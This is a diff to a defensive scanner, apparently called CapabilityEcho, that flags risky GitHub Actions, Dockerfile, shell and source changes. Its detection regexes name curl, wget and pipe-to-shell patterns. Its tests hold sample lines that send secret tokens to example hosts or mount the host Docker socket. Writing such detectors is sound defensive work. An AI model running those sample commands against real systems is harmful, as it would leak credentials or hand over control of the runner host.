b/src/detectors/workflow-permissions.ts @@ -1,32 +1,85 @@ import type { AddedLine, Finding } from '../types.js'; import { isWorkflowFile } from '../paths.js'; -export function detectWorkflowPermissions(lines: AddedLine[]): Finding[] { +const githubTokenWritePermissionPattern = + /^\s*(?:actions|artifact-metadata|attestations|checks|code-quality|contents|deployments|discussions|id-token|issues|packages|pages|pull-requests|security-events|statuses)\s*:\s*write\b/i; + +export function detectWorkflowPermissions(lines: AddedLine[], newFileContents: Record = {}): Finding[] { const findings: Finding[] = []; + const pullRequestTargetFiles = new Set( + lines.filter((line) => isWorkflowFile(line.file) && isPullRequestTargetLine(line.content)).map((line) => line.file) + ); + const secretEnvVarsByFile = collectSecretEnvVars(lines, newFileContents); + for (const [file, content] of Object.entries(newFileContents)) { + if (isWorkflowFile(file) && hasPullRequestTargetWorkflow(content)) { + pullRequestTargetFiles.add(file); + } + } for (const added of lines) { if (!isWorkflowFile(added.file)) { continue; } + findings.push(...detectPullRequestTarget(added)); + findings.push(...detectPullRequestHeadCheckoutOnTarget(added, pullRequestTargetFiles.has(added.file))); + findings.push(...detectSelfHostedRunner(added)); + findings.push(...detectMutableActionRef(added)); findings.push(...detectWritePermissions(added)); findings.push(...detectExternalCurl(added)); - findings.push(...detectSecretExfil(added)); + findings.push(...detectSecretsInherit(added)); + findings.push(...detectSecretExfil(added, secretEnvVarsByFile.get(added.file) ?? new Set())); + findings.push(...detectDockerHostControl(added)); } return findings; } +function collectSecretEnvVars(lines: AddedLine[], newFileContents: Record): Map> { + const varsByFile = new Map>(); + for (const added of lines) { + if (!isWorkflowFile(added.file)) { + continue; + } + + addSecretEnvVar(varsByFile, added.file, added.content); + } + + for (const [file, content] of Object.entries(newFileContents)) { + if (!isWorkflowFile(file)) { + continue; + } + + for (const line of content.split(/\r?\n/)) { + addSecretEnvVar(varsByFile, file, line); + } + } + + return varsByFile; +} + +function addSecretEnvVar(varsByFile: Map>, file: string, content: string): void { + const match = content.match(/^\s*([A-Z_][A-Z0-9_]*)\s*:\s*.*\$\{\{\s*secrets\./i); + if (!match) { + return; + } + + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} + function detectWritePermissions(added: AddedLine): Finding[] { const content = added.content; - if (!/permissions\s*:/i.test(content) && !/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + if (!/permissions\s*:/i.test(content) && !githubTokenWritePermissionPattern.test(content)) { return []; } - if (/\b(contents|packages|id-token)\s*:\s*write\b/i.test(content)) { + if (githubTokenWritePermissionPattern.test(content)) { return [ { kind: 'workflow_permission_write', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -37,10 +90,11 @@ function detectWritePermissions(added: AddedLine): Finding[] { ]; } - if (/\bpermissions\s*:\s*(write|admin)\b/i.test(content)) { + if (/^\s*permissions\s*:\s*(?:write|write-all|admin)\b/i.test(content)) { return [ { kind: 'workflow_permission_write', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -54,6 +108,120 @@ function detectWritePermissions(added: AddedLine): Finding[] { return []; } +function detectPullRequestTarget(added: AddedLine): Finding[] { + if (!isPullRequestTargetLine(added.content)) { + return []; + } + + return [ + { + kind: 'workflow_pull_request_target', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions pull_request_target trigger', + message: 'Workflow runs on pull_request_target, which can expose elevated token or secret context to PR-triggered automation.', + recommendation: 'Use pull_request unless elevated base-repository context is required; never run untrusted PR code with pull_request_target privileges.' + } + ]; +} + +function detectPullRequestHeadCheckoutOnTarget(added: AddedLine, hasPullRequestTarget: boolean): Finding[] { + if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) { + return []; + } + + return [ + { + kind: 'workflow_pr_head_checkout_on_target', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions PR-head checkout under pull_request_target', + message: 'Workflow checks out pull request head code in a pull_request_target workflow.', + recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + } + ]; +} + +function isPullRequestTargetLine(content: string): boolean { + return /^\s*pull_request_target\s*:/i.test(content); +} + +function hasPullRequestTargetWorkflow(content: string): boolean { + return content.split(/\r?\n/).some(isPullRequestTargetLine); +} + +function isPullRequestHeadCheckoutLine(content: string): boolean { + return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); +} + +function detectSelfHostedRunner(added: AddedLine): Finding[] { + if ( + !/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(added.content) && + !/^\s*-\s*self-hosted\s*(?:#.*)?$/i.test(added.content) + ) { + return []; + } + + return [ + { + kind: 'workflow_self_hosted_runner', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions self-hosted runner', + message: 'Workflow runs on a self-hosted runner, which can expand PR-triggered automation into private infrastructure.', + recommendation: 'Use GitHub-hosted runners for untrusted PR code, or isolate self-hosted runners with strict labels, permissions, and cleanup.' + } + ]; +} + +function detectMutableActionRef(added: AddedLine): Finding[] { + const actionRef = extractWorkflowUsesRef(added.content); + if (!actionRef || isLocalActionRef(actionRef) || /^docker:\/\//i.test(actionRef)) { + return []; + } + + const refSeparatorIndex = actionRef.lastIndexOf('@'); + if (refSeparatorIndex === -1) { + return []; + } + + const versionRef = actionRef.slice(refSeparatorIndex + 1); + if (!isMutableActionVersionRef(versionRef)) { + return []; + } + + return [ + { + kind: 'workflow_mutable_action_ref', + surface: 'workflow', + severity: 'medium', + file: added.file, + line: added.line, + subject: 'GitHub Actions mutable action reference', + message: 'Workflow uses a mutable remote action reference.', + recommendation: 'Pin third-party actions to a reviewed commit SHA before merge.' + } + ]; +} + +function extractWorkflowUsesRef(content: string): string | undefined { + return content.match(/^\s*(?:-\s*)?uses\s*:\s*['"]?([^'"\s#]+)['"]?/i)?.[1]; +} + +function isLocalActionRef(actionRef: string): boolean { + return actionRef.startsWith('./') || actionRef.startsWith('../') || actionRef.startsWith('/'); +} + +function isMutableActionVersionRef(versionRef: string): boolean { + return /^(main|master|trunk|develop|dev|latest|head)$/i.test(versionRef); +} + function detectExternalCurl(added: AddedLine): Finding[] { if (!/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(added.content)) { return []; @@ -62,6 +230,7 @@ function detectExternalCurl(added: AddedLine): Finding[] { return [ { kind: 'workflow_external_curl', + surface: 'workflow', severity: 'medium', file: added.file, line: added.line, @@ -72,9 +241,30 @@ function detectExternalCurl(added: AddedLine): Finding[] { ]; } -function detectSecretExfil(added: AddedLine): Finding[] { +function detectSecretsInherit(added: AddedLine): Finding[] { + if (!/^\s*secrets\s*:\s*inherit\s*(?:#.*)?$/i.test(added.content)) { + return []; + } + + return [ + { + kind: 'workflow_secrets_inherit', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'GitHub Actions inherited secrets', + message: 'Workflow passes all caller secrets to a reusable workflow.', + recommendation: 'Pass only explicit secrets required by the reusable workflow.' + } + ]; +} + +function detectSecretExfil(added: AddedLine, secretEnvVars: Set): Finding[] { const content = added.content; - const hasSecretRef = /\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(content); + const hasSecretRef = + /\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(content) || + [...secretEnvVars].some((name) => referencesShellVariable(content, name)); const hasNetwork = /\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(content); const hasPipe = /\|\s*(bash|sh|powershell|pwsh)/i.test(content); @@ -85,6 +275,7 @@ function detectSecretExfil(added: AddedLine): Finding[] { return [ { kind: 'workflow_secret_exfil_pattern', + surface: 'workflow', severity: 'high', file: added.file, line: added.line, @@ -94,3 +285,45 @@ function detectSecretExfil(added: AddedLine): Finding[] { } ]; } + +function referencesShellVariable(content: string, name: string): boolean { + const escapedName = escapeRegExp(name); + return new RegExp(String.raw`(?:\$\{${escapedName}\}|\$${escapedName}\b|%${escapedName}%)`).test(content); +} + +function escapeRegExp(value: string): string { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +function detectDockerHostControl(added: AddedLine): Finding[] { + const findings: Finding[] = []; + const content = added.content; + + if (/\/var\/run\/docker\.sock(?::\/var\/run\/docker\.sock)?/i.test(content)) { + findings.push({ + kind: 'workflow_docker_socket_mount', + surface: 'workflow', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Workflow Docker socket mount', + message: 'Workflow mounts the host Docker socket, which can grant control over the runner host.', + recommendation: 'Avoid Docker socket mounts in CI unless the job is isolated and the image/commands are trusted.' + }); + } + + if (/\bdocker\s+run\b.*\s--privileged(?:\s|$)/i.test(content)) { + findings.push({ + kind: 'workflow_privileged_container', + surface: 'workflow', + severity: 'high', + file: added.file, + line: added.line, + subject: 'Workflow privileged container', + message: 'Workflow runs a privileged container, expanding kernel and device-level access in CI.', + recommendation: 'Use the narrowest container privileges required, and avoid privileged mode for agent-run code.' + }); + } + + return findings; +} diff --git a/src/diff.ts b/src/diff.ts index 14ae25b..a6390e3 100644 --- a/src/diff.ts +++ b/src/diff.ts @@ -1,7 +1,9 @@ +import { detectDockerfileCapability } from './detectors/dockerfile-capability.js'; import { detectJsCapability } from './detectors/js-capability.js'; import { detectPackageDeps } from './detectors/package-deps.js'; import { detectPackageScripts } from './detectors/package-scripts.js'; import { detectPyCapability } from './detectors/py-capability.js'; +import { detectShellCapability } from './detectors/shell-capability.js'; import { detectWorkflowPermissions } from './detectors/workflow-permissions.js'; import { collectDirectoryDiff, collectGitDiff } from './git-diff.js'; import { createReport, type EchoReport } from './report.js'; @@ -27,9 +29,11 @@ export async function runCapabilityDiff(options: DiffMode): Promise ]); const findings = [ - ...detectWorkflowPermissions(context.addedLines), - ...detectJsCapability(context.addedLines), - ...detectPyCapability(context.addedLines), + ...detectWorkflowPermissions(context.addedLines, context.newFileContents), + ...detectDockerfileCapability(context.addedLines), + ...detectJsCapability(context.addedLines, context.newFileContents), + ...detectPyCapability(context.addedLines, context.newFileContents), + ...detectShellCapability(context.addedLines), ...scriptFindings, ...depFindings ]; diff --git a/src/git-diff.ts b/src/git-diff.ts index bf184e8..7ddd0fe 100644 --- a/src/git-diff.ts +++ b/src/git-diff.ts @@ -2,25 +2,41 @@ import { execFile } from 'node:child_process'; import { readdir, readFile } from 'node:fs/promises'; import { join, relative } from 'node:path'; import { promisify } from 'node:util'; -import { isScannable } from './paths.js'; -import type { AddedLine, DiffContext } from './types.js'; +import { isScannable, surfaceForPath } from './paths.js'; +import type { AddedLine, DiffContext, FindingSurface } from './types.js'; const execFileAsync = promisify(execFile); +const SURFACE_ORDER: FindingSurface[] = ['source', 'package', 'workflow', 'container']; + +export class GitDiffSetupError extends Error { + constructor( + message: string, + public readonly base: string, + public readonly head: string + ) { + super(message); + this.name = 'GitDiffSetupError'; + } +} export async function collectDirectoryDiff(oldRoot: string, newRoot: string): Promise { const changedFiles = await listScannableFiles(newRoot); const addedLines: AddedLine[] = []; + const changedScannableFiles = new Set(); + const newFileContents: Record = {}; for (const file of changedFiles) { const oldPath = join(oldRoot, file); const newPath = join(newRoot, file); + const newContent = await readFile(newPath, 'utf8'); const patch = await runGitNoIndexDiff(oldPath, newPath); if (patch.trim()) { + changedScannableFiles.add(file); + newFileContents[file] = newContent; addedLines.push(...parseUnifiedDiff(patch, file)); continue; } - const newContent = await readFile(newPath, 'utf8'); let oldContent = ''; try { oldContent = await readFile(oldPath, 'utf8'); @@ -32,6 +48,8 @@ export async function collectDirectoryDiff(oldRoot: string, newRoot: string): Pr continue; } + changedScannableFiles.add(file); + newFileContents[file] = newContent; if (!oldContent) { addedLines.push(...allLinesAsAdded(file, newContent)); } @@ -39,18 +57,27 @@ export async function collectDirectoryDiff(oldRoot: string, newRoot: string): Pr return { addedLines, - changedFileCount: countChangedFiles(addedLines) + changedFileCount: changedScannableFiles.size, + scannedSurfaces: surfacesForFiles([...changedScannableFiles]), + newFileContents }; } export async function collectGitDiff(repo: string, base: string, head: string): Promise { - await verifyGitRef(repo, base); - await verifyGitRef(repo, head); + const baseExists = await gitRefExists(repo, base); + const headExists = await gitRefExists(repo, head); + if (!baseExists || !headExists) { + throw new GitDiffSetupError( + `CapabilityEcho could not compare base '${base}' and head '${head}'.`, + base, + head + ); + } const changedFiles = await listGitChangedFiles(repo, base, head); const scannableFiles = changedFiles.filter(isScannable); if (scannableFiles.length === 0) { - return { addedLines: [], changedFileCount: 0 }; + return { addedLines: [], changedFileCount: 0, scannedSurfaces: [], newFileContents: {} }; } const { stdout } = await execFileAsync( @@ -58,13 +85,16 @@ export async function collectGitDiff(repo: string, base: string, head: string): ['-C', repo, 'diff', '-U0', `${base}..${head}`, '--', ...scannableFiles], { encoding: 'utf8', maxBuffer: 20 * 1024 * 1024 } ); + const newFileContents = await readChangedFilesAtRef(repo, head, scannableFiles); return { addedLines: parseUnifiedDiff(stdout).map((line) => ({ ...line, file: normalizeGitDiffPath(line.file) })), - changedFileCount: scannableFiles.length + changedFileCount: scannableFiles.length, + scannedSurfaces: surfacesForFiles(scannableFiles), + newFileContents }; } @@ -141,7 +171,7 @@ async function listScannableFiles(root: string, current = ''): Promise return files; } -async function listGitChangedFiles(repo: string, base: string, head: string): Promise { +export async function listGitChangedFiles(repo: string, base: string, head: string): Promise { const { stdout } = await execFileAsync( 'git', ['-C', repo, 'diff', '--name-only', `${base}..${head}`], @@ -180,12 +210,29 @@ function allLinesAsAdded(file: string, content: string): AddedLine[] { })); } -function countChangedFiles(addedLines: AddedLine[]): number { - return new Set(addedLines.map((line) => line.file)).size; +async function gitRefExists(repo: string, ref: string): Promise { + try { + await execFileAsync('git', ['-C', repo, 'rev-parse', '--verify', `${ref}^{commit}`]); + return true; + } catch (error) { + if (isExecError(error)) { + return false; + } + + throw error; + } } -async function verifyGitRef(repo: string, ref: string): Promise { - await execFileAsync('git', ['-C', repo, 'rev-parse', '--verify', `${ref}^{commit}`]); +function surfacesForFiles(files: string[]): FindingSurface[] { + const surfaces = new Set(); + for (const file of files) { + const surface = surfaceForPath(file); + if (surface) { + surfaces.add(surface); + } + } + + return SURFACE_ORDER.filter((surface) => surfaces.has(surface)); } function isExecError(error: unknown): error is Error & { code?: number | string; stdout?: string } { @@ -225,6 +272,17 @@ export async function readFileAtGitRef(repo: string, ref: string, relativePath: } } +async function readChangedFilesAtRef(repo: string, ref: string, files: string[]): Promise> { + const entries = await Promise.all( + files.map(async (file) => { + const content = await readFileAtGitRef(repo, ref, file); + return content === null ? undefined : ([file, content] as const); + }) + ); + + return Object.fromEntries(entries.filter((entry): entry is readonly [string, string] => entry !== undefined)); +} + export async function listPackageJsonFiles(root: string, current = ''): Promise { const entries = await readdir(join(root, current), { withFileTypes: true }); const files: string[] = []; diff --git a/src/paths.ts b/src/paths.ts index 5085eb4..999c8ab 100644 --- a/src/paths.ts +++ b/src/paths.ts @@ -1,3 +1,5 @@ +import type { FindingSurface } from './types.js'; + const EXCLUDED_PATHS = new Set([ '.mcp.json', '.cursor/mcp.json', @@ -22,20 +24,32 @@ export function isExcluded(relativePath: string): boolean { } export function isScannable(relativePath: string): boolean { + return surfaceForPath(relativePath) !== undefined; +} + +export function surfaceForPath(relativePath: string): FindingSurface | undefined { const normalized = normalizeRelativePath(relativePath); if (isExcluded(normalized)) { - return false; + return undefined; } if (normalized === 'package.json' || normalized.endsWith('/package.json')) { - return true; + return 'package'; } if (normalized.startsWith('.github/workflows/') && /\.(ya?ml)$/i.test(normalized)) { - return true; + return 'workflow'; + } + + if (isDockerfile(normalized)) { + return 'container'; } - return /\.(js|jsx|ts|tsx|mjs|cjs|py|pyw)$/i.test(normalized); + if (isJsFile(normalized) || isPyFile(normalized) || isShellFile(normalized)) { + return 'source'; + } + + return undefined; } export function isTestFile(relativePath: string): boolean { @@ -80,3 +94,14 @@ export function isPyFile(relativePath: string): boolean { const normalized = normalizeRelativePath(relativePath); return /\.(py|pyw)$/i.test(normalized); } + +export function isShellFile(relativePath: string): boolean { + const normalized = normalizeRelativePath(relativePath); + return /\.(sh|bash|zsh|ps1|psm1)$/i.test(normalized); +} + +export function isDockerfile(relativePath: string): boolean { + const normalized = normalizeRelativePath(relativePath); + const name = normalized.split('/').pop() ?? normalized; + return /^Dockerfile(?:\..+)?$/i.test(name); +} diff --git a/src/report.ts b/src/report.ts index 75f34c0..437c824 100644 --- a/src/report.ts +++ b/src/report.ts @@ -1,4 +1,4 @@ -import type { DiffContext, Finding, Severity } from './types.js'; +import type { DiffContext, Finding, FindingSurface, Severity } from './types.js'; export type EchoRating = 'none' | Severity; export type ReportFormat = 'text' | 'markdown' | 'json' | 'github'; @@ -7,10 +7,25 @@ export interface EchoReport { rating: EchoRating; findingCount: number; changedFileCount: number; + scannedSurfaces: FindingSurface[]; + excludedSurfaces: string[]; + surfaceSummary: Record; + severitySummary: Record; capabilitySummary: string[]; + topRecommendations: string[]; findings: Finding[]; } +const EXCLUDED_SURFACES = ['AI-agent config'] as const; +const SEVERITY_ORDER: Severity[] = ['critical', 'high', 'medium', 'low']; + +const SURFACE_LABELS: Record = { + source: 'source code', + package: 'package manifests', + workflow: 'GitHub workflows', + container: 'container builds' +}; + const severityRank: Record = { none: 0, low: 1, @@ -21,14 +36,29 @@ const severityRank: Record = { const SUMMARY_LABELS: Record = { external_fetch_added: 'external network fetch calls', + source_secret_exfil_pattern: 'source secret exfiltration patterns', subprocess_spawn_added: 'subprocess or shell spawn calls', dynamic_eval_added: 'dynamic code execution', + shell_pipe_to_shell: 'shell pipe-to-shell downloads', + shell_external_download: 'shell external downloads', + dockerfile_remote_add: 'Dockerfile remote ADD instructions', + dockerfile_pipe_to_shell: 'Dockerfile pipe-to-shell builds', workflow_permission_write: 'GitHub Actions write permissions', + workflow_pull_request_target: 'GitHub Actions pull_request_target triggers', + workflow_pr_head_checkout_on_target: 'GitHub Actions PR-head checkout under pull_request_target', + workflow_self_hosted_runner: 'GitHub Actions self-hosted runners', + workflow_mutable_action_ref: 'GitHub Actions mutable action references', + workflow_secrets_inherit: 'GitHub Actions inherited secrets', workflow_external_curl: 'workflow external network requests', workflow_secret_exfil_pattern: 'workflow secret exfiltration patterns', + workflow_docker_socket_mount: 'workflow Docker socket mounts', + workflow_privileged_container: 'workflow privileged containers', lifecycle_script_added: 'npm lifecycle scripts', script_pipe_to_shell: 'pipe-to-shell install scripts', - script_network_command: 'network or publish npm scripts' + script_network_command: 'network or publish npm scripts', + high_capability_dep_added: 'high-capability dependency additions', + telemetry_dep_added: 'telemetry dependency additions', + unsafe_deserialize_added: 'unsafe deserialization' }; export function createReport(findings: Finding[], context: DiffContext): EchoReport { @@ -36,7 +66,12 @@ export function createReport(findings: Finding[], context: DiffContext): EchoRep rating: rateFindings(findings), findingCount: findings.length, changedFileCount: context.changedFileCount, + scannedSurfaces: context.scannedSurfaces, + excludedSurfaces: [...EXCLUDED_SURFACES], + surfaceSummary: buildSurfaceSummary(findings), + severitySummary: buildSeveritySummary(findings), capabilitySummary: buildCapabilitySummary(findings), + topRecommendations: buildTopRecommendations(findings), findings }; } @@ -65,6 +100,25 @@ function buildCapabilitySummary(findings: Finding[]): string[] { return [...labels]; } +function buildTopRecommendations(findings: Finding[]): string[] { + const recommendations = new Set(); + const rankedFindings = findings + .map((finding, index) => ({ finding, index })) + .sort((left, right) => { + const severityDelta = severityRank[right.finding.severity] - severityRank[left.finding.severity]; + return severityDelta === 0 ? left.index - right.index : severityDelta; + }); + + for (const { finding } of rankedFindings) { + recommendations.add(finding.recommendation); + if (recommendations.size === 3) { + break; + } + } + + return [...recommendations]; +} + function rateFindings(findings: Finding[]): EchoRating { let rating: EchoRating = 'none'; for (const finding of findings) { @@ -79,6 +133,9 @@ function rateFindings(findings: Finding[]): EchoRating { function renderMarkdown(report: EchoReport): string { const lines = [`# CapabilityEcho capability drift: ${report.rating.toUpperCase()}`, '']; + lines.push(`Scanned executable surfaces: ${formatSurfaces(report.scannedSurfaces)}.`); + lines.push(`Excluded surfaces: ${report.excludedSurfaces.join(', ')}.`, ''); + if (report.findings.length === 0) { lines.push('No code or workflow capability drift findings.'); return `${lines.join('\n')}\n`; @@ -86,6 +143,26 @@ function renderMarkdown(report: EchoReport): string { lines.push(`This diff scanned ${report.changedFileCount} changed file${report.changedFileCount === 1 ? '' : 's'}.`); lines.push(`CapabilityEcho found ${report.findingCount} finding${report.findingCount === 1 ? '' : 's'}.`, ''); + if (report.topRecommendations.length > 0) { + lines.push('## Top recommendations', ''); + for (const recommendation of report.topRecommendations) { + lines.push(`- ${recommendation}`); + } + lines.push(''); + } + lines.push('## Review summary', ''); + lines.push('| Surface | Findings |'); + lines.push('| --- | ---: |'); + for (const surface of ['source', 'package', 'workflow', 'container'] as const) { + lines.push(`| ${SURFACE_LABELS[surface]} | ${report.surfaceSummary[surface]} |`); + } + lines.push(''); + lines.push('| Severity | Findings |'); + lines.push('| --- | ---: |'); + for (const severity of SEVERITY_ORDER) { + lines.push(`| ${capitalize(severity)} | ${report.severitySummary[severity]} |`); + } + lines.push(''); if (report.capabilitySummary.length > 0) { lines.push('## Capability summary', ''); @@ -95,7 +172,7 @@ function renderMarkdown(report: EchoReport): string { lines.push(''); } - for (const severity of ['critical', 'high', 'medium', 'low'] as const) { + for (const severity of SEVERITY_ORDER) { const matches = report.findings.filter((finding) => finding.severity === severity); if (matches.length === 0) { continue; @@ -103,7 +180,7 @@ function renderMarkdown(report: EchoReport): string { lines.push(`## ${capitalize(severity)}`, ''); for (const finding of matches) { - lines.push(`- **${finding.subject}** (${finding.file}): ${finding.message}`); + lines.push(`- **${finding.subject}** [${SURFACE_LABELS[finding.surface]}] (${finding.file}): ${finding.message}`); lines.push(` Recommendation: ${finding.recommendation}`); } lines.push(''); @@ -114,12 +191,18 @@ function renderMarkdown(report: EchoReport): string { function renderText(report: EchoReport): string { const lines = [`CapabilityEcho capability drift: ${report.rating.toUpperCase()}`]; + lines.push(`Scanned executable surfaces: ${formatSurfaces(report.scannedSurfaces)}.`); + lines.push(`Excluded surfaces: ${report.excludedSurfaces.join(', ')}.`); + if (report.capabilitySummary.length > 0) { lines.push(`Signals: ${report.capabilitySummary.join(', ')}`); } + if (report.topRecommendations.length > 0) { + lines.push(`Top recommendations: ${report.topRecommendations.join(' | ')}`); + } for (const finding of report.findings) { - lines.push(`[${finding.severity.toUpperCase()}] ${finding.subject}: ${finding.message}`); + lines.push(`[${finding.severity.toUpperCase()}] ${finding.subject} (${SURFACE_LABELS[finding.surface]}): ${finding.message}`); } if (report.findings.length === 0) { @@ -137,7 +220,7 @@ function renderGithubAnnotations(report: EchoReport): string { return ( report.findings .map((finding) => { - const title = `CapabilityEcho ${finding.severity} capability drift`; + const title = `CapabilityEcho ${finding.severity} ${SURFACE_LABELS[finding.surface]} capability drift`; const message = `${finding.message} Recommendation: ${finding.recommendation}`; const properties = [`file=${escapeProperty(finding.file)}`]; if (finding.line && finding.line > 0) { @@ -161,3 +244,29 @@ function escapeProperty(value: string): string { function capitalize(value: string): string { return `${value.slice(0, 1).toUpperCase()}${value.slice(1)}`; } + +function buildSurfaceSummary(findings: Finding[]): Record { + return { + source: findings.filter((finding) => finding.surface === 'source').length, + package: findings.filter((finding) => finding.surface === 'package').length, + workflow: findings.filter((finding) => finding.surface === 'workflow').length, + container: findings.filter((finding) => finding.surface === 'container').length + }; +} + +function buildSeveritySummary(findings: Finding[]): Record { + return { + critical: findings.filter((finding) => finding.severity === 'critical').length, + high: findings.filter((finding) => finding.severity === 'high').length, + medium: findings.filter((finding) => finding.severity === 'medium').length, + low: findings.filter((finding) => finding.severity === 'low').length + }; +} + +function formatSurfaces(surfaces: FindingSurface[]): string { + if (surfaces.length === 0) { + return 'none'; + } + + return surfaces.map((surface) => SURFACE_LABELS[surface]).join(', '); +} diff --git a/src/types.ts b/src/types.ts index b7327cd..76103c7 100644 --- a/src/types.ts +++ b/src/types.ts @@ -1,7 +1,9 @@ export type Severity = 'low' | 'medium' | 'high' | 'critical'; +export type FindingSurface = 'source' | 'package' | 'workflow' | 'container'; export interface Finding { kind: string; + surface: FindingSurface; severity: Severity; file: string; line?: number; @@ -19,4 +21,6 @@ export interface AddedLine { export interface DiffContext { addedLines: AddedLine[]; changedFileCount: number; + scannedSurfaces: FindingSurface[]; + newFileContents: Record; } diff --git a/test/cli-output.test.mjs b/test/cli-output.test.mjs index 6bd1f1c..13b5e59 100644 --- a/test/cli-output.test.mjs +++ b/test/cli-output.test.mjs @@ -28,6 +28,13 @@ test('CLI emits JSON capability drift report', async () => { assert.ok(report.findings.some((finding) => finding.kind === 'lifecycle_script_added')); assert.ok(report.findings.some((finding) => finding.kind === 'script_pipe_to_shell')); assert.ok(report.findings.some((finding) => finding.kind === 'workflow_permission_write')); + assert.deepEqual(report.surfaceSummary, { source: 1, package: 3, workflow: 2, container: 0 }); + assert.deepEqual(report.severitySummary, { critical: 1, high: 2, medium: 3, low: 0 }); + assert.deepEqual(report.topRecommendations, [ + 'Replace remote pipe-to-shell patterns with pinned, reviewable install steps.', + 'Use the narrowest permission scope required for this job.', + 'Review lifecycle scripts carefully; they run automatically on install.' + ]); }); test('CLI emits Markdown capability summary', async () => { @@ -41,7 +48,17 @@ test('CLI emits Markdown capability summary', async () => { ); assert.match(stdout, /# CapabilityEcho capability drift: CRITICAL/); + assert.match(stdout, /## Top recommendations/); + assert.match(stdout, /- Replace remote pipe-to-shell patterns with pinned, reviewable install steps\./); + assert.match(stdout, /- Use the narrowest permission scope required for this job\./); + assert.ok(stdout.indexOf('## Top recommendations') < stdout.indexOf('## Review summary')); assert.match(stdout, /Capability summary/); + assert.match(stdout, /\| Surface \| Findings \|/); + assert.match(stdout, /\| source code \| 1 \|/); + assert.match(stdout, /\| package manifests \| 3 \|/); + assert.match(stdout, /\| GitHub workflows \| 2 \|/); + assert.match(stdout, /\| container builds \| 0 \|/); + assert.match(stdout, /\| Critical \| 1 \|/); assert.match(stdout, /external network fetch calls/); assert.match(stdout, /postinstall/); }); diff --git a/test/detectors.test.mjs b/test/detectors.test.mjs index da8f46c..88a6634 100644 --- a/test/detectors.test.mjs +++ b/test/detectors.test.mjs @@ -2,6 +2,7 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import { detectJsCapability } from '../dist/detectors/js-capability.js'; import { detectWorkflowPermissions } from '../dist/detectors/workflow-permissions.js'; +import { createReport } from '../dist/report.js'; test('js detector flags external fetch', () => { const findings = detectJsCapability([ @@ -16,6 +17,23 @@ test('js detector flags external fetch', () => { assert.equal(findings[0].kind, 'external_fetch_added'); }); +test('js detector flags env secret exfiltration over external fetch', () => { + const findings = detectJsCapability([ + { + file: 'src/api/sync.ts', + line: 8, + content: + "await fetch('https://collector.example.com/events', { headers: { Authorization: `Bearer ${process.env.API_TOKEN}` } });" + } + ]); + + assert.ok(findings.some((finding) => finding.kind === 'external_fetch_added')); + const exfilFinding = findings.find((finding) => finding.kind === 'source_secret_exfil_pattern'); + assert.ok(exfilFinding); + assert.equal(exfilFinding.surface, 'source'); + assert.equal(exfilFinding.severity, 'high'); +}); + test('js detector downgrades test file subprocess findings', () => { const findings = detectJsCapability([ { @@ -43,6 +61,25 @@ test('workflow detector flags write permissions', () => { assert.equal(findings[0].kind, 'workflow_permission_write'); }); +test('workflow detector flags broader token write scopes', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/pr-triage.yml', + line: 7, + content: ' pull-requests: write' + }, + { + file: '.github/workflows/pr-triage.yml', + line: 8, + content: ' actions: write' + } + ]); + + assert.equal(findings.length, 2); + assert.ok(findings.every((finding) => finding.kind === 'workflow_permission_write')); + assert.ok(findings.every((finding) => finding.severity === 'high')); +}); + test('workflow detector flags secret exfil pattern', () => { const findings = detectWorkflowPermissions([ { @@ -55,3 +92,246 @@ test('workflow detector flags secret exfil pattern', () => { assert.equal(findings.length, 2); assert.ok(findings.some((finding) => finding.kind === 'workflow_secret_exfil_pattern')); }); + +test('workflow detector flags secret-backed env vars used in external requests', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/deploy.yml', + line: 17, + content: ' API_TOKEN: ${{ secrets.API_TOKEN }}' + }, + { + file: '.github/workflows/deploy.yml', + line: 21, + content: 'run: curl https://example.com/hook -H "Authorization: Bearer $API_TOKEN"' + } + ]); + + assert.ok(findings.some((finding) => finding.kind === 'workflow_external_curl')); + const exfilFinding = findings.find((finding) => finding.kind === 'workflow_secret_exfil_pattern'); + assert.ok(exfilFinding); + assert.equal(exfilFinding.line, 21); + assert.equal(exfilFinding.severity, 'high'); +}); + +test('workflow detector flags inherited reusable workflow secrets', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/deploy.yml', + line: 22, + content: ' secrets: inherit' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_secrets_inherit'); + assert.equal(findings[0].surface, 'workflow'); + assert.equal(findings[0].severity, 'high'); + assert.match(findings[0].recommendation, /explicit/); +}); + +test('workflow detector flags Docker socket mounts', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 22, + content: 'run: docker run -v /var/run/docker.sock:/var/run/docker.sock agent-runner' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_docker_socket_mount'); + assert.equal(findings[0].severity, 'critical'); +}); + +test('workflow detector flags privileged containers', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 24, + content: 'run: docker run --privileged agent-runner' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_privileged_container'); 